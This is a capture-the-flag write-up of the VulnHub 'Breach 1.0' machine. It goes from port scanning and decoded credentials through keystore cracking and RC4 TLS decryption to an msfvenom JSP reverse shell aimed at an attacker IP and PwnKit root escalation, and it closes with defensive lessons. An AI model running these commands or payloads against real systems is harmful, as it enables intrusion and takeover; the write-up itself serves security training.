Breach 1.0

Breach 1.0 deliberately blinds your scanner, hides credentials inside an image comment, a Java keystore, and an SSL packet capture, then gates its admin panel behind a cipher (RC4) that current Linux distributions have removed from their crypto libraries. The full path:

Two lessons worth internalizing: legacy crypto locks out modern tooling — we had to rebuild a TLS client twice — and disciplined enumeration beats guessing, with four privilege-escalation dead-ends eliminated by evidence before the real one was used.

# deliberately noisy — ~100 ports answer with nonsense banners
nmap -sV -Pn -T4 --top-ports 200 192.168.110.140

The scan returns about a hundred "open" ports with absurd, conflicting banners — a Cisco SSH daemon on 389, a Minix FTP server, a "CAFEiNi" trojan backdoor. None are real. The box runs a port-spoofing setup whose only purpose is to make nmap and nikto useless and waste the attacker's time. The single honest line:

80/tcp  open  http  Apache httpd 2.4.7 ((Ubuntu))

The landing page links to initech.html and hides a base64 string in an HTML comment. Decoding it once yields another base64 string — it is encoded twice:

echo 'Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo' \
  | base64 -d | base64 -d
# -> pgibbons:damnitfeel$goodtobeagang$ta

These are credentials for the ImpressCMS employee portal at /impresscms/user.php. The whole box leans on an Office Space theme — Initech, Peter Gibbons, Milton, Bill Lumbergh.

A private message inside the portal points at http://192.168.110.140/.keystore — a password-protected Java KeyStore. Java keystores crack offline with John:

keystore2john .keystore > ks.hash
john ks.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=keystore
# -> storepass: tomcat

With the store password, export the private key so other tools can use it:

keytool -importkeystore -srckeystore .keystore -destkeystore keystore.p12 \
        -deststoretype pkcs12 -srcstorepass tomcat -deststorepass tomcat
openssl pkcs12 -in keystore.p12 -nodes -nocerts -out tomcat.key -passin pass:tomcat

Inside is a single PrivateKeyEntry under alias tomcat — a 2048-bit RSA key. On its own a private key seems useless. Its value only becomes clear once we find the packet capture.

A hidden-content message points at a capture file at /impresscms/_SSL_test_phase1.pcap, containing TLS traffic to port 8443. The negotiated cipher suite:

TLS_RSA_WITH_RC4_128_MD5   (0x0004)

Why this capture is decryptable at all

• RSA key exchange. The client encrypts the premaster secret with the server's public key and sends it. No Diffie-Hellman — so anyone holding the server's private key can decrypt the premaster after the fact and re-derive every session key. Exactly the key we pulled from the keystore.
• No forward secrecy. A modern ECDHE suite would make the captured session undecryptable even with the private key, because the session keys are never transmitted. This is the whole reason forward secrecy exists.

Why Wireshark / tshark could not do it

Feeding tshark the private key produced nothing. Modern libgcrypt / OpenSSL 3.x have removed RC4 entirely — the tools load the key but cannot run the cipher, and fail silently. ssldump segfaulted. The decryption had to be implemented by hand in Python.

The four gotchas (each produces plausible-looking garbage, not an error)

• Wrong PRF. The premaster begins 03 03 = TLS 1.2, whose PRF is HMAC-SHA256. The TLS 1.0 MD5+SHA1 PRF yields wrong keys.
• Per-connection keys. The capture holds two TLS connections; each has its own randoms and keys and cannot share one RC4 stream.
• Session resumption. The second connection has no ClientKeyExchange — it reuses the first connection's master secret with new randoms.
• Stream alignment. RC4 is one continuous keystream per direction. The encrypted Finished message (first record after ChangeCipherSpec) must be run through RC4 and discarded, or every byte after it is offset into noise.

A full, commented implementation (breach_tls_decrypt.py) recovers the plaintext HTTP:

python3 breach_tls_decrypt.py
# ...
# RECOVERED CREDENTIALS:
#    tomcat:Tt\5D8F(#!*u=G)4m7zB

The decrypted request authenticates to the renamed Tomcat Manager at /_M@nag3Me/html with HTTP Basic auth. Bill Lumbergh's in-game note said "my password is extremely secure." It was — right up until his own key decrypted his own traffic.

The Manager login sits behind the same obstacle, now live instead of recorded:

curl -sk --user 'tomcat:...' "https://192.168.110.140:8443/_M@nag3Me/text/list"
# curl: (35) SSL handshake failure

Confirming the cause:

nmap --script ssl-enum-ciphers -p 8443 192.168.110.140
#   TLSv1.0/1.1/1.2:  TLS_RSA_WITH_RC4_128_MD5   (and nothing else)

openssl ciphers -v 'ALL:@SECLEVEL=0' | grep -i rc4
#   (empty — RC4 is compiled out)

The server speaks only RC4-MD5, and Kali's OpenSSL has no RC4. Every tool that links system OpenSSL is locked out — curl, Python's ssl, stunnel, Metasploit's Tomcat modules. The fix is a client carrying its own crypto: tlslite-ng, a pure-Python TLS stack that still implements RC4.

Tomcat 6 deploys through the HTML upload form at /_M@nag3Me/html/upload (field deployWar), and 6.0.39 enforces a CSRF nonce bound to the session — so the client must GET the Manager page for a fresh JSESSIONID + CSRF_NONCE, then POST the WAR reusing both in one shot.

# portable Java payload — build anywhere
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.3 LPORT=4444 \
         -f war -o shell.war

Trigger the JSP through the RC4 client and the shell lands:

id
uid=104(tomcat6) gid=112(tomcat6) groups=112(tomcat6)
hostname
Breach

Rather than reaching for the first exploit, each common vector was checked and eliminated by evidence:

With cron, sudo, SUID, and the sniffer all ruled out, the environment itself pointed to the answer: Ubuntu 14.04 / kernel 4.2 with SUID pkexec present — textbook PwnKit (CVE-2021-4034).

# must compile ON the target — a Kali binary links a newer glibc
cd /tmp
gcc -o pwn pwnkit.c      # NB: not 'pwnkit' — collides with the dir it creates
./pwn
id
uid=0(root) gid=0(root) groups=0(root),112(tomcat6)

• Never treat base64 as secrecy. Secrets do not belong in page source.
• Keep private keys out of web-reachable paths. A leaked server key retroactively decrypts all non-PFS traffic.
• Require forward secrecy (ECDHE); disable RSA key exchange and RC4. With PFS the captured session would have been undecryptable even with the private key.
• Lock down the Tomcat Manager. Strong unique credentials, IP allow-listing, or disable it in production — it is one step from creds to RCE.
• Patch pkexec (CVE-2021-4034) and strip unnecessary SUID binaries and compilers from production hosts.
• Reduce credential reuse and plaintext DB creds in config files.

Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.